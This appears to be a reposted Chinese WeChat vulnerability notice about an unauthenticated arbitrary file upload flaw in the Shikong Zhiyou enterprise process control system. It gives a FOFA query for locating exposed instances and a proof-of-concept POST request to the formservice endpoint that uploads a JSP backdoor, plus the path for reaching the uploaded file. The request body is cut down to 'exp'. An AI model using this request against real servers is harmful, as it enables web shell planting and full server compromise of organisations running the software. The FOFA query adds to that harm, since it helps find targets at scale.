时空智友企业流程化管控系统是一个功能丰富、灵活可定制的企业管理工具。通过该系统，企业能够实现流程的自动化、协同的提升、数据的洞察和决策的优化，从而提高工作效率、管理水平和企业竞争力。时空智友企业流程化管控系统 formservice接口处存在任意文件上传漏洞，未经认证的攻击者可通过此接口上传后门文件，最终可导致服务器失陷。
FOFA语句：app=“时空智友V10.1”
poc:
POST /formservice?service=attachment.write&isattach=false&filename=yb.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 1092exp
访问方式：
http://ip/form/temp/回显文件名
小知识
声明
好文推荐
原文始发于微信公众号（丁永博的成长日记）：时空智友企业流程化管控系统文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论